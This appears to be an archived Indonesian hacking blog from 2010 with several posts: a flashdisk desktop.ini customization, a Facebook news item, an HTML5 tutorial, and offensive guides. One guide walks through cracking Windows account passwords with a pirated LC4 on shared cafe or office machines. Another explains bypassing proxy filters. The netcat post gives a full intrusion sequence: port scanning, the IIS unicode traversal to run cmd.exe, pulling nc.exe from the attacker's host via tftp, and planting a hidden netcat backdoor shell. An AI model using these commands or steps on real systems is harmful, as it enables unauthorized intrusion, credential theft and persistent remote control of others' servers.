'' HACKING & CRACKING ''

MENGUBAH DAN MEMPERCANTIK TAMPILAN FLASHDISK

2010-10-21T19:11:00.004+07:00

Kali ini kita akan mencoba mengubah tampilan desktop pada flashdisk agar menjadilebih menarik dilihat..caranya cukup mudah..siapkan sebuah flashdisk..bebas mau merek atau ukuran apa karena tidak ada pengaruh sama sekali cara ini juga bisa di terapkan di dalam folder lho biar isi folder kamu lebih cerah..

yang kedua siapkan sebuah foto boleh foto kamu sendiri,foto keluarga,ataupun foto si Doi...
ubah nama foto(Rename).Terserah mau pake nama apa boleh Fotoku,foto pacarku dsb..dalam praktek kali ini saya gunakan nama Desktop..

Semua bahan sudah dikumpulkan dan kita siap untuk mulai beraksi..Hehehehe...

1.Buka Notepad...bisa gak buka notepad?ok deh kalo belum bisa tinggal klik aja Start-Notepad atau bisa juga klik start-accecories-Notepad..

2.jika Notepad sudah dibuka..salin script berikut

[ExtShellFolder]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}

[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
Attributes=1
IconArea_Image=desktop.jpg
IconArea_Text=0×0000FF
[.ShellClassInfo]
ConfirmFileOp=0

Tulisan desktop yang dicetak tebal adalah nama gambar..jadi kamu bisa mengganti gambar apapun dan kapanpun tinggal ganti nama picturenya aja...
3.simpan kode script yang tadi anda copy kedalam flashdisk yang sudah disiapkan tadi..dengan nama dan extensi "desktop.ini"
4.Jangan lupa copy juga gambar yang bernama desktop(namanya boleh diganti sesuai selera)
5.langkah terakhir refresh..dan liat aja..tampilan flashdisk anda sekarang sudah berubah lebih bagus...

Catatan:anda tidak hanya bisa mengubah backgroundnya saja tapi anda juga bisa mengubah warna teks.caranya cari script bertuliskan

IconArea_Text=0×0000FF...

itu merupakan kode kode dalam pewarnaan..jika anda ingin mengubah warna text tapi anda tidak tahu kode kode warnanya..buka program photoshop..disana anda bisa melihat berbagai macam kode warna.ada tinggal copy warna yang anda sukai lalu refresh...maka dalam sekejab warna teks langsung berubah...
saat anda menyimpan Script yang ada di notepad..kalo sesudah disimpan tapi masih belum ada reaksi dalam arti gambarnya belum muncul..coba anda munculkan extension filenya caranya buka window explorer-tool-folder option-view-hilangkan centang yang bertuliskan "hide extension for known file type-lalu ok...maka file gambar kita akan menjadi desktop.ini....jika file gambar kita tidak muncul extension INI anda bisa rename dan menggantinya sendiri.
Selamat mencoba

Ini Dia, Dampak dari Munculnya Facebook Groups

2010-10-18T09:04:00.000+07:00

Satu hal yang menjadi dampak diluncurkan Facebook Groups minggu lalu, adalah dihilangkannya tombol "Clear Cha t History" dari Facebook Chat. Kemudian sebuah kelompok minoritas melakukan vocal, memprotes perubahan tersebut atas kejahatan kepada privacy user, dengan tidak memperbolehkan user untuk segera menghapus data chat mereka.

Sebuah sumber yang familiar dengan Facebook, mengungkapkan bahwa tombol tersebut dihapus berkaitan dengan adanya fitur Groups Chat, dimana data chat yang semakin besar hingga 14 hari akan membuat penuh database, sehingga dapat menyebabkan overloading server, jika diaplikasikan ke Groups yang besar dan menyebabkan lambatnya performance Facebook.

Namun, terlepas dari hal itu, Facebook mengatakan akan mengembalikan tombol tersebut dan menempatkannya
di dalam interface chat, di bagian atas scroll chat, walaupun menurut Facebook hanya sedikit orang yang menggunakan fitur itu.

2010-10-18T06:33:00.000+07:00

Satu lagi, cara mudah mengintip password user pada windows! Anda tak lagi perlu repot-repot masuk bios, under DOS, menyadap network dengan script-script yang aneh dan merepotkan, dsb. Kini sudah banyak tersedia tool-tool di internet yang memudahkan kita dalam melakukan hacking password windows. Salah satunya adalah software yang diberi nama LC4. Biasanya nih, banyak administrator warnet/ kampus/ kantor yang ceroboh, yang membuat account default pada windows mereka berstatus sebagai administrator.

Jadi, kebanyakan dari kita menggunakan komputer diwarnet/ kampus/ kantor tersebut berstatus sebagai administrator. Kenapa saya menekankan harus berstatus sebagai administrator, karena kita nantinya akan menginstal software LC4, dan syarat bisa menginstal adalah harus user yang statusnya administrator.

Jika Anda yang sedang di warnet/ kampus/ kantor dan user komputernya hanya berstatus user bisa/ limited user/ power user dan bukan sebagai administrator,

dulu untuk mendapatkan status sebagai administrator.

Tapi jika kebetulan user komputernya sebagai administrator, ya langsung saja ikuti langkah2 berikut ini;

1. Download file-file pendukung disini

2. Matikan terlebih dahulu antivirus yang ada, karena lc4 dianggap riskware.

3. Extract file lc4.zip (ada 2 buah file yaitu lc4setup dan lc4ver4.00gen)

4. Klik file lc4setup.exe untuk memulai instalasi (tinggal naxt next aja kok ... )

5. Setelah selesai, jalankan aplikasi lc4 nya.

6. Kemudian klik tombol Register

7. Blok dan copy deretan angka yang ada pada kolom serial number

8. Kembali ke file yang sudah di extract tadi (langkah no.3) double klik file lc4ver4.00gen

9. Paste deretan angka serial number yang sudah kita copy tadi ke kolom serial number pada aplikasi KeyGenerator de[DJ]neo. Selanjutnya klik tombolCreate !!, maka akan ditampilkan deretan angka pada kolom Unlock Code. Kemudian tekan tombol Copy untuk mengcopy unlock kode tersebut

10. Selanjutnya kembali ke window Register, paste deretan unlock code yang sudah kita copy tadi ke kolom Unlock Kode. Tekan tombol OK

11. Kemudian akan muncul pesan bahwa lc4 sudah teregistrasi (dibajak maskudnya )

12. Kemudian akan ditampilkan window lc4 wizard. Langsung tekan tombol Next

13. Kemudian pada window Get Encrypted Passwords, pilih option pertama untuk meng-hack password pada komputer lokal, atau pilih option ketiga untuk meng-hack password pada komputer lain di jaringan warnet/ kantor/ kampus. (untuk contoh sekarang, pilih option pertama).

14. Pada step selanjutnya, pilih option ketiga "Strong Password Audit"

15. Selanjutnya langsung klik Next saja, dan terakhir tekan tombol Finish

16. Selanjutnya akan ditampilkan window seperti pada gambar dibawah. Pada kolom sebelah kanan, ditampilkan metode2 yang digunakan untuk melakukan hacking password yaitu dengan metode dictionary status dan brute force. Pada kolom ini juga ditampilkan proses yang sedang berlangsung. tunggu hingga persentase pada brute force mencapai 100% atau dengan kata lain proses hacking sudah selesai. biasanya proses ini berlangsung sekitar 1-3 jam an (makanya harap bersabar ya. hehehe).

Dari gambar dibawah juga dapat kita lihat bahwa user "andrea" memiliki password "N75" atau "n75" dan ini hanya diperlukan waktu 50 detik untuk meng-hack nya. Sementara untuk user "admin" baru diketahui 1 karakter paling akhir yaitu "A" atau "a" dan karakter lainnya sedang dalam proses. ini ditandai dengan tanda "?". Apabila proses scaning oleh lc4 ini selesai, maka password akan ditampilakan secara utuh. CONGRATULATIONS !

Catatan : Software LC4 tidak bisa meng-hack password yang panjangnya lebih dari 12 karakter. Artinya apa ? pikir sendiri ...

Menembus block proxy server

2010-10-18T06:27:00.000+07:00

Untuk mengisi waktu libur minggu yg cerah ini, penulis berkesempatan utk menyampaikan sekedar tulisan sederhana yg semoga bermanfaat buat kita semua pecinta ilmu networking. Kali ini penulis ingin mengurai sekilas mengenai bagaimana menembus atau lebih tepatnya bagaimana mengecoh blocking proxy server. Trick ini sangat bermanfaat bagi Anda yg koneksi internet-nya berada di belakang proxy kantor, kampus, perusahaan/ corporate, dsb. Sebagian besar dari Anda pasti sudah tau apa itu proxy.

Ya, Proxy adalah suatu komputer server (bisa jg berupa program aplikasi) yg menerima request dari komputer client utk kemudian diteruskan ke server selanjutnya (bisa ke internet atau satu jaringan ethernet). Karena fungsinya yg berupa penengah antara client - server, maka seringkali proxy ini diatur utk mem-filter request2 yg sekiranya sesuai dgn kebijakan security dari jaringan kantor/ kampus yg bersangkutan.

Aturan yg di-setting utk proxy ini, biasanya :

1. mem-filter request2 web page yg kontennya mengandung script2 berbahaya.
*misal : web page tertentu yg mengandung trojan/ virus biasanya akan diblok permanen.

2. mengatur port-port mana saja yg boleh diakses oleh client dan terbuka utk request umum.
*misal : layanan instant messenger YM (Yahoo Messenger), ICQ atau MIRC membutuhkan port tertentu dlm koneksinya, meski secara default lewat port 80.

3. mem-filter keyword tertentu yg mengandung konten pornografi, fraud, dan keyword lain yg disesuaikan dgn kebijakan administrator.
misal : keyword "porn", "sex", "adult", "games" biasanya di-blok di level proxy sehingga request client tdk akan diteruskan ke server selanjutnya.

dan lain sebagainya masih banyak fungsi proxy.

Bagi Anda yg berjiwa "iseng" dan "pantang menyerah", hihihi... mungkin rules proxy itu bikin Anda kesal karena tidak bisa mengakses web page tertentu yg Anda kehendaki. Anda perlu tau, di dunia klo ada sakit pasti ada obatnya bukan... begitu jg klo ada proxy maka ada pula anti-proxy. Apa itu anti-proxy? Yaitu, circumventor. Circumventor adalah metode utk menembus blocking proxy di jaringan Anda. Secara teknis, circumventor berupa proxy jg hanya lokasinya berada di server lain.

Ok, bagi Anda yg ga sabaran ingin mencoba circumventor, Anda tidak perlu bersusah payah utk meng-install program apalagi harus setting ini itu. Di dunia ini, sudah banyak server yg memberikan layanan proxy circumventor untuk digunakan oleh siapa saja yg merasa akses internet-nya diblokir.

Berikut bisa Anda coba di browser Anda :

https://210.18.104.227/cgi-bin/nph-120025.cgi

http://anonymouse.org

http://w2.hidemyass.com

http://www.workbrowse.com

http://www.invisiblesurfing.com

Anda jg bisa googling dgn keyword "circumventor site". Anda tinggal ketik alamat web page apapun yg dikehendaki dan jgn khawatir akan diblokir. hihi.Kiranya cukup demikian saja dari penulis. Semoga bermanfaat.

Mengenal HTML5

2010-10-15T22:23:00.000+07:00

Oke, saya rasa kurang adil karena kemaren dah sedikit banyak membahas tentang CSS3 tapi HTML5 nya belom. Sama halnya dengan CSS3, HTML5 kini sudah bisa digunakan hampir pada setiap browser modern. Tapi dengan ini mungkin kalian berpikir, ngapain mengerjakan sesuatu yang pada dasarnya masih sukar untuk diimplementasikan apalagi jika kalian menginginkan website yang compatible dengan semua browser atau cross browser compatibility

Sebenarnya jawabannya cukup simple saja, seiring berjalannya waktu HTML5 pasti menjadi sesuatu yang biasa nantinya. Nah sekarang mumpung masih ada waktu yuk kita belajar sama – sama untuk hal yang nantinya memang menjadi tren. Gak ada salahnya kan?

Sebagai pembukaan saya akan menjelaskan beberapa Tag – tag baru pada HTML5.

Nah setelah kita baca tutorial diatas disini saya punya kode HTML yang akan kita ubah dengan HTML5. Contohnya seperti berikut. Ketika saya ingin membuat sebuah template biasanya saya akan membuat struktur seperti ini…

Oke, saya rasa kurang adil karena kemaren dah sedikit banyak membahas tentang CSS3 tapi HTML5 nya belom. Sama halnya dengan CSS3, HTML5 kini sudah bisa digunakan hampir pada setiap browser modern. Tapi dengan ini mungkin kalian berpikir, ngapain mengerjakan sesuatu yang pada dasarnya masih sukar untuk diimplementasikan apalagi jika kalian menginginkan website yang compatible dengan semua browser atau cross browser compatibility

Sebenarnya jawabannya cukup simple saja, seiring berjalannya waktu HTML5 pasti menjadi sesuatu yang biasa nantinya. Nah sekarang mumpung masih ada waktu yuk kita belajar sama – sama untuk hal yang nantinya memang menjadi tren. Gak ada salahnya kan?

Sebagai pembukaan saya akan menjelaskan beberapa Tag – tag baru pada HTML5.

Nah setelah kita baca tutorial diatas disini saya punya kode HTML yang akan kita ubah dengan HTML5. Contohnya seperti berikut. Ketika saya ingin membuat sebuah template biasanya saya akan membuat struktur seperti ini…

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
    "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<style type="text/css">
        * { margin:0px; padding:0px;}
    </style>
    <script type="text/javascript" src="http://cruzenaldo.com/jquery.js"></script>
</head>
<body>
<h1>Welcome To My Site</h1>
Bagian Artikel
</body>
</html>

Oke sekarang coba kita pada baris awal

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
    "http://www.w3.org/TR/html4/strict.dtd">

Pada HTML5 kita sudah tidak memerlukan DOCTYPE yang panjang kayak gini, lagian susah juga untuk menghafalinnya kan? Sekarang kita ganti menjadi seperti ini…

Code:

<!DOCTYPE html>

Simple kan? Oke sekarang lihat bagian berikut…

Code:

<meta http-equiv="content-type" content="text/html; charset=UTF-8" />

Kita bisa menggantinya dengan kode berikut.

Code:

<meta charset="utf-8" />

Kemudian pada bagian style, kita dah gak membutuhkan lagi type=”text/css” nya untuk HTML5 jadi ubah saja menjadi seperti berikut.

Code:

<style>
        * { margin:0px; padding:0px;}
    </style>

Tentunya hal tersebut juga berlaku pada tag script…

Code:

<script src="http://cruzenaldo.com/jquery.js"></script>

Nah sekarang tinggal kita lakukan penambahan – penambahan aja misalkan kita tambahkan tag HEADER, NAV, ASIDE, dan FOOTER. Penjelasan sedikit HEADER biasanya digunakan untuk logo atau judul web kita. NAV digunakan untuk menu utama, berbeda dengan menu yang ada di sidebar loh dan NAV ini biasanya digunakan di dalam tag HEADER. Kemudian ada ASIDE untuk bagian sidebar dan FOOTER untuk bagian bawah tempat Copyright, dll. Dan jadinya seperti berikut.

Code:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
<style>
        * { margin:0px; padding:0px;}
    </style>
    <script src="http://cruzenaldo.com/jquery.js"></script>
</head>
<body>
    <header>
<h1>Welcome To My Site</h1>
Bagian Artikel
    <nav>
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About Me</a></li>
</ul>
    </nav>
    </header>
    <aside>
<h2>Kategori</h2>
<ul>
<li><a href="#">Januari</a></li>
<li><a href="#">Februari</a></li>
</ul>
    </aside>
    <footer>
        copyleft by Cruz3N
    </footer>
</body>
</html>

Nah sekarang pertanyaannya adalah GAK SEMUA browserbisa mengerti arti dari tag – tag tersebut (Apalagi Internet Explorer) atau gak semua browser tau cara menghandle element atau tag – tag tersebut. Ada beberapa cara yang bisa kita gunakan yaitu…

Tips Dan Triknya

Kita menggunakan CSS untuk membuat display dari setiap elementnya Block. Contoh kodenya sebagai berikut.

Code:

<style>
header, nav, aside, footer{
display: block;
}
</style>

Jadi kita tuliskan terlebih dahulu tag – tag HTML5 apa saja yang kita gunakan. Nah kadang IE pun gak bisa menghandlenya walaupun kita sudah menggunakan tehnik diatas… Sekarang coba kita gunakan tehnik berikut.

Code:

<script>
document.createElement('header','nav','aside','footer');
</script>

Kedua cara diatas memang agak sedikit ribet yah, nah cara terakhir yang paling gampang adalah seperti berikut.

Code:

<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>

Jadi script tersebut akan menghandle semuanya jadi kalian gak perlu menggunakan kedua tehnik sebelumnya… Oke mungkin tutorial ini gak terlalu membantu kalian. Berikut adalah beberapa Resources yang bisa kalian gunakan untuk mempelajari tehnik – tehnik dasar HTML5. Semoga berguna dan sampai bertemu pada Tutorial selanjutnya…

web hacking with netcat

2010-09-22T21:36:00.001+07:00

Instalasi Netcat

Saat ini Netcat telah tersedia tidak saja pada sistem operasi Unix dan Linux
pada sistem operasi Windows. Pada tutor kali ini saya menggunakan Netcat
dengan sistem operasi Window pada command line sama dengan perintah
yang terdapat pada Netcat dgn Unix.

Instalasi Netcat pada sistem operasi Windows sangat sederhana.
mendownload dari situs download disini
banyak situs hacker lainnya. Namun demikian Anda harus waspada jika dunlut dari
yang tidak Anda kenal betul, bisa jadi tools Netcat-nya sudah dimodifikas
yang dapat mengganggu sistem Anda

Kemudian Anda cukup melakukan unzip terhadap file yang telah Anda download
nc11nt.zip ke dalam sebuah direktori sebagai berikut:

Code:

C:\TMP\NETCAT> dir 
 Volume in drive C has no label. 
 Volume Serial Number is 141F-1208 
 
 Directory of C:\TMP\NETCAT 
 
02/23/2003  05:03 PM    <DIR>          . 
02/23/2003  05:03 PM    <DIR>          .. 
11/03/1994  07:07 PM             4,765 GETOPT.H 
01/04/1998  03:17 PM            69,081 NETCAT.C 
01/03/1998  02:37 PM            59,392 NC.EXE 
11/28/1997  02:48 PM            12,039 DOEXEC.C 
11/28/1997  02:36 PM               544 MAKEFILE 
11/06/1996  10:40 PM            22,784 GETOPT.C 
07/09/1996  04:01 PM             7,283 GENERIC.H 
02/06/1998  03:50 PM            61,780 HOBBIT.TXT 
02/06/1998  05:53 PM             6,771 README.TXT 
02/22/2000  11:24 AM             2,044 AVEXTRA.TXT 
              10 File(s)        246,483 bytes 
               2 Dir(s)   8,868,044,800 bytes free 
C:\TMP\NETCAT>

File utama yang perlu Anda perhatikan hanyalah nc.exe saja, file lainnya bisa Anda perhatikan
bila Anda perlu melakukan kompilasi ulang.

Memulai Netcat

Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa saja yang tersedia pada
Netcat. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui
option yang tersedia pada Netcat, cukup memanggil help-nya pada Dos prompt sebagai berikut:

Code:

C:\TMP\NETCAT> nc -h 
[v1.10 NT] 
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [options] [hostname] [port] 
 
options: 
        -d              detach from console, stealth mode 
 
        -e prog         inbound program to exec [dangerous!!] 
        -g gateway      source-routing hop point[s], up to 8 
        -G num          source-routing pointer: 4, 8, 12, ... 
        -h              this cruft 
        -i secs         delay interval for lines sent, ports scanned 
        -l              listen mode, for inbound connects 
        -L              listen harder, re-listen on socket close 
        -n              numeric-only IP addresses, no DNS 
        -o file         hex dump of traffic 
        -p port         local port number 
        -r              randomize local and remote ports 
        -s addr         local source address 
        -t              answer TELNET negotiation 
        -u              UDP mode 
        -v              verbose [use twice to be more verbose] 
        -w secs         timeout for connects and final net reads 
        -z              zero-I/O mode [used for scanning] 
port numbers can be individual or ranges: m-n [inclusive] 
 
C:\TMP\NETCAT>

Secara umum perintah Netcat memiliki struktur sebagai berikut:

Code:

C:\> nc –opsi <host> <port>

Port Scanning

Seperti juga pisau Swiss Army yang memiliki banyak mata pisau beraneka fungsi, maka Netcat
juga memiliki aneka fungsi yang dimiliki tools lainnya, salah satunya adalah “mata pisau” port
scanning

Walaupun tidak selengkap dan secanggih tools Nmap atau Supercan, Netcat dapat digunakan
untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web
dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:

Code:

C:\TMP\NETCAT> nc -v -z server01 10-140 
server01 [128.1.9.81] 139 (netbios-ssn) open 
server01 [128.1.9.81] 113 (auth) open 
server01 [128.1.9.81] 110 (pop3) open 
server01 [128.1.9.81] 98 (?) open 
server01 [128.1.9.81] 80 (http) open 
server01 [128.1.9.81] 79 (finger) open 
server01 [128.1.9.81] 25 (smtp) open 
server01 [128.1.9.81] 23 (telnet) open 
server01 [128.1.9.81] 21 (ftp) open 
 
C:\TMP\NETCAT> 
 
Perintah di atas akan melakukan scanning port 10 s/d 140 dari host server01 dengan address IP 
128.1.9.81. Option –z  merupakan option yang dipergunakan untuk melakukan scanning.

Banner Grabbing

Salah satu cara mendapatkan informasi mengenai sistem operasi dan aplikasi yang dijalankan
oleh sebuah host adalah dengan melakukan banner grabbing atau membaca informasi yang ada
di dalam banner sebuah sistem.

Berikut ini kemampuan Netcat untuk mengambil header suatu situs web yang biasanya
menyimpan informasi penting sebagai berikut (Jangan lupa ketikkan “Get/HTTP” seperti
terlihat pada baris ke-6 dari contoh hasil di atas.)

Code:

C:\TMP\NETCAT> nc -v -n 128.1.71.103 80 
(UNKNOWN) [128.1.71.103] 80 (?) open 
get http 
HTTP/1.1 400 Bad Request 
Server: Microsoft-IIS/5.0 
Date: Sat, 11 Oct 2003 03:34:24 GMT 
Content-Type: text/html 
Content-Length: 87 
 
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html> 
C:\TMP\NETCAT>

wooooooow!!!!!tumben mikocok,kebanyakan yang saya temuin
punya nya pakdhe linus.. Penjelasan:

Penggunaan option –n diperlukan jika address yang Anda berikan adalah berupa nomor IP. Jika
berupa address internet, anda tidak memerlukan option –n tersebut. Port yang diuji adalah port
80.

Dari contoh di atas Anda dapat mengetahui bahwa sistem operasi yang dipergunakan adalah
Microsoft dengan IIS/5.0.

Perhatikan contoh berikutnya:

Code:

C:\TMP\NETCAT> nc -v www.moron.nl 80 
www.moron.nl [85.17.231.219] 80 (http) open 
get/http 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<HTML><HEAD> 
<TITLE>501 Method Not Implemented</TITLE> 
</HEAD><BODY> 
<H1>Method Not Implemented</H1> 
get/http to /index.html not supported.<P> 
Invalid method in request get/http<P> 
<HR> 
<ADDRESS>Apache/1.3.12 Server at www.moron.nl Port 80</ADDRESS> 
</BODY></HTML> 
 
C:\TMP\NETCAT>

hhhmmmmmmmm Pada contoh di atas tidak menggunakan option –n karena address yang digunakan adalah bukan
nomor IP. Dari hasil di atas tidak terlihat sistem operasinya tetapi terlihat bahwa host tersebut
menggunakan Apache Versi 1.3.12.

Skenario Menyusup ke dalam Server Web!

Untuk menyusup ke dalam server web diperlukan beberapa langkah dan ketrampilan tersendiri.
Tidak saja ketrampilan menggunakan Netcat, tetapi juga pengetahuan kita mengenai sistem
target. Dalam contoh skenario kali ini, kita akan menyusup ke sebuah server web yang
menggunakan sistem operasi Windows 2000 dengan IIS 5.0. Untuk itu diperlukan pemahaman
mengenai sebuah bugs dari Microsoft IIS 5.0, yaitu unicode bugs, yang sampai saat ini masih
saja ada server web yang belum dipasang patch karena kelalaian atau ketidaktahuan sang
pengelola sistem.

Fokus kita bukan mengenai apa dan bagaimana bugs Microsoft tersebut, melainkan bagaimana
memanfaatkan Netcat untuk melakukan penyusupan dan bahkan download dokumen dari server
web. Perhatikan, semua dilakukan dengan satu tools, Netcat saja, walaupun bisa saja Anda
menggunakan tools-tools lainnya. Itu sebabnya Netcat disebut sebagai “TCP/IP Swiss Army
Knife”

Mari kita memulai dengan mencari server web yang menggunakan Microsoft Windows 2000
dengan IIS versi 5.0 sebagai berikut (sebagian akan menggunakan option dari netcat yang telah
dijelaskan di atas):

Code:

C:\TMP\NETCAT> nc -v -z ristbook 20-80 
ristbook [128.1.71.103] 80 (http) open 
ristbook [128.1.71.103] 25 (smtp) open 
ristbook [128.1.71.103] 21 (ftp) open 
 
C:\TMP\NETCAT>

OK, terlihat server ristbook membuka port 80 yang ada diduga merupakan server web.
Selanjutnya Anda perlu menyelidiki, adakah server ristbook merupakan server web
menggunakan Microsoft dan IIS 4.0/5.0?

Code:

C:\TMP\NETCAT> nc -v ristbook 80 
ristbook [128.1.71.103] 80 (http) open 
get http 
HTTP/1.1 400 Bad Request 
Server: Microsoft-IIS/5.0 
Date: Sat, 11 Oct 2003 08:51:34 GMT 
Content-Type: text/html 
Content-Length: 87 
 
<html><head><title>Error</title></head><body>The parameter is incorrect. </body> 
</html> 
C:\TMP\NETCAT>

Aha, ternyata server tersebut merupakan server web yang menggunakan Microsoft dengan IIS
5.0. Selanjutnya kita akan menguji apakah server web ini sudah memasang patch dan terhindar
dari bugs unicode ?

Code:

C:\TMP\NETCAT> nc -v ristbook 80 
ristbook [128.1.71.103] 80 (http) open 
get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\ 
HTTP/1.1 200 OK 
Server: Microsoft-IIS/5.0 
Date: Sat, 11 Oct 2003 09:06:52 GMT 
Content-Type: application/octet-stream 
Volume in drive C has no label. 
Volume Serial Number is 0C42-12EA 
 
 Directory of c:\ 
09/17/2001  11:46a               1,012 FRUNLOG.TXT 
09/17/2001  11:35a      <DIR>          WINDOWS 
09/17/2001  11:58a      <DIR>          My Documents 
09/17/2001  11:35a      <DIR>          Program Files 
09/17/2001  12:43p      <DIR>          ATI 
05/05/1999  09:20a              31,512 MAESTRO.COM 
09/17/2001  12:50p                   0 CONFIG.AGO 
05/05/1999  09:20a              11,084 AECU.SYS 
09/26/2003  08:35p                  30 mstrinf.ini 
09/17/2001  12:50p                   0 AUTOEXEC.AGO 
07/01/2003  07:22p      <DIR>          museum 
06/06/2001  06:28a               1,071 my_cnf.bak 
06/25/2002  07:35p                 697 FRONTPG.LOG 
08/29/2003  04:16p      <DIR>          NAV2001 
08/29/2003  04:51p      <DIR>          ServicePack 
01/28/2002  03:45p      <DIR>          HTML 
06/17/2002  06:17p                  22 autoexec.nav 
09/19/2003  04:49p      <DIR>          denny 
08/27/2003  06:38p              28,290 SCANDISK.LOG 
04/05/2003  06:53a                 967 command.PIF 
06/09/2002  10:16p                 442 SETUPXLG.TXT 
10/05/2001  03:33p              40,923 c1605r-psn.txt 
01/04/2002  12:20p      <DIR>          tmp 
10/24/2001  02:32p      <DIR>          tms20 
06/27/2001  11:57p               1,574 index.html.no 
11/13/1998  01:23a             106,496 sqlsun.dll 
01/28/2002  03:52p                 289 sqlsunin.ini 
09/26/2003  12:29p             157,817 winzip.log 
01/28/2002  03:53p              85,526 Uninst.isu 
12/13/2001  04:30p                 317 Shortcut to cuteftp.exe.lnk 
06/21/2002  10:34a      <DIR>          Acrobat3 
01/22/2002  03:18p      <DIR>          My Received Files 
01/28/2002  03:49p      <DIR>          LOG 
07/30/2002  01:40p              34,565 atapi.exe 
04/06/2003  06:41p                  82 asoy.ftp 
01/28/2002  03:45p      <DIR>          Upgrade 
12/07/1999  07:00p             236,304 cmdkoe.exe 
01/28/2002  03:45p      <DIR>          Install 
06/25/2002  07:34p      <DIR>          Inetpub 
07/05/2002  07:02p      <DIR>          Documentation 
02/12/2002  01:28p             227,467 datacenter1.jpg 
02/09/2002  03:29p               2,920 datacenterthumb.jpg 
11/15/2001  03:07p               3,384 sqlnet.log 
09/17/1999  06:38p               1,234 Table of Contents.htm 
06/26/2002  03:22p      <DIR>          ftproot 
              26 File(s)        974,025 bytes 
              19 Dir(s)     119,435,264 bytes free 
 
C:\TMP\NETCAT>

Ooops, tampaknya pengelola sistemnya lalai dan belum dipasang patchnya untuk bugs unicode.
OK, Anda dapat melanjutkan langkah berikutnya dengan menyusupkan tools serba guna kita ke
dalam server web tersebut, ya, mengcopykan netcat ke dalam server tersebut ! Dengan
meletakkan tools serba guna Netcat pada server web, maka Anda dapat mengendalikan server
web tersebut dengan leluasa.

Salah satu cara menyusupkan netcat ke dalam ke dalam server web tersebut adalah
memanfaatkan service tftp (Trivial File Transfer Protocol). Anda dapat memerintahkan server
web target Anda untuk mengupload netcat dari tftp server yang terpasang di komputer Anda.
Untuk itu Anda harus mengaktifkan atau menginstall tftp server pada komputer Anda, jika
belum tersedia. Jika komputer Anda menggunakan sistem operasi Windows, Anda dapat
menginstall aplikasi freeware tftpd32 buatan Philippe Jounin (ph.jounin@computer.org) yang
dapat Anda download dari download disini atau dari situs-sistus hacker
lainnya.

Selanjutnya Anda dapat mengaktifkan tftp server sebagai berikut:

Kemudian masukkan program Netcat yang akan Anda upload ke server web target ke dalam
direktori tftp dari komputer Anda yang telah diinstall tftp. Atau Anda dapat mengarahkan base
directory dari tftp ke direktori program Netcat Anda.

OK, sampai disini Anda telah menyiapkan tftp di komputer Anda yang di dalam base
directorinya berisi Netcat. Selanjutnya kita tak akan membahas lebih detail soal tftpd32, karena
kita akan memfokuskan pada pemanfaatan Netcat.

Langkah selanjutnya untuk mengupload Netcat ke server tujuan menggunakan instruksi Netcat,
sebagai berikut:

Code:

C:\TMP\NETCAT> nc -v ristbook 80 
ristbook [128.1.71.103] 80 (http) open 
get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp+-i+128.1.99 
.25+get+nc.exe 
HTTP/1.1 502 Gateway Error 
Server: Microsoft-IIS/5.0 
Date: Sun, 26 Oct 2003 11:00:54 GMT 
Content-Length: 215 
Content-Type: text/html 
 
<head><title>Error in CGI Application</title></head> 
<body><h1>CGI Error</h1>The specified CGI application misbehaved by not returnin 
g a complete set of HTTP headers.  The headers it did return are:<p><p><pre></pr 
e> 
C:\TMP\NETCAT>

Langkah di atas adalah memerintahkan server web untuk mengupload nc.exe menggunakan
perintah tftp –i 128.1.99.25. IP 128.1.99.25 merupakan komputer Anda yang telah
terpasang tftp server.

Ya, program netcat.exe telah berhasil ditransfer ke server tujuan. Jika Anda menggunakan
tftpd32 pada komputer Anda, maka di layar tftp akan terlihat pesan transfer sukses sebagai
berikut:

Nah, dengan Netcat sudah terpasang diserver tujuan, Anda dapat dengan mudah mengendalikan
server tersebut !

Backdoor

Sudah menjadi kebiasaan para hacker apabila menyusup ke sebuah sistem senantiasa
meninggalkan backdoor. Dengan backdoor Anda dapat masuk dan keluar melalaui jalan pintas
tanpa harus melalui jalur yang semestinya.

Yang perlu Anda lakukan adalah mengaktifkan perintah Netcat yang telah Anda upload pada
server web di atas dengan perintah berikut ini:

Code:

C:\NETCAT> nc –L –p 1001 –d  –e cmd.exe 
C:\NETCAT>

Opsi –L merupakan mode listening, opsi –p menujukkan koneksi dilakukan via port 1001 dan
Anda dapat menggunakan port lainnya jika diperlukan untuk mengecoh firewall. Opsi
berikutnya yang sangat dahsyat adalah –d yaitu agar telnet dijalankan secara tersembunyi atau
stealth. Opsi terakhir –e akan mengeksekusi perintah command.exe untuk dipergunakan oleh
koneksi yang masuk.

Masih ingat bagaimana mengeksekusi perintah di atas pada server web
melalui komputer Anda ?

Code:

C:\TMP\NETCAT> nc -v ristbook 80 
ristbook [128.1.71.103] 80 (http) open 
get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+nc+-L+-p+1001+-
d+-e+cmd.exe

Netcat akan listening pada port 1001. Selanjutnya anda dapat mengakses backdoor dari
komputer Anda sebagai berikut:

Code:

C:\TMP\NETCAT> ipconfig     (command menunjukkan nomor IP pada komputer Anda) 
 
Windows IP Configuration 
 
Ethernet adapter Local Area Connection: 
 
        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 128.1.99.25 
        Subnet Mask . . . . . . . . . . . : 255.255.0.0 
        Default Gateway . . . . . . . . . : 128.1.99.25 
 
C:\TMP\NETCAT> nc -v ristbook 1001 
ristbook [128.1.71.103] 1001 (?) open 
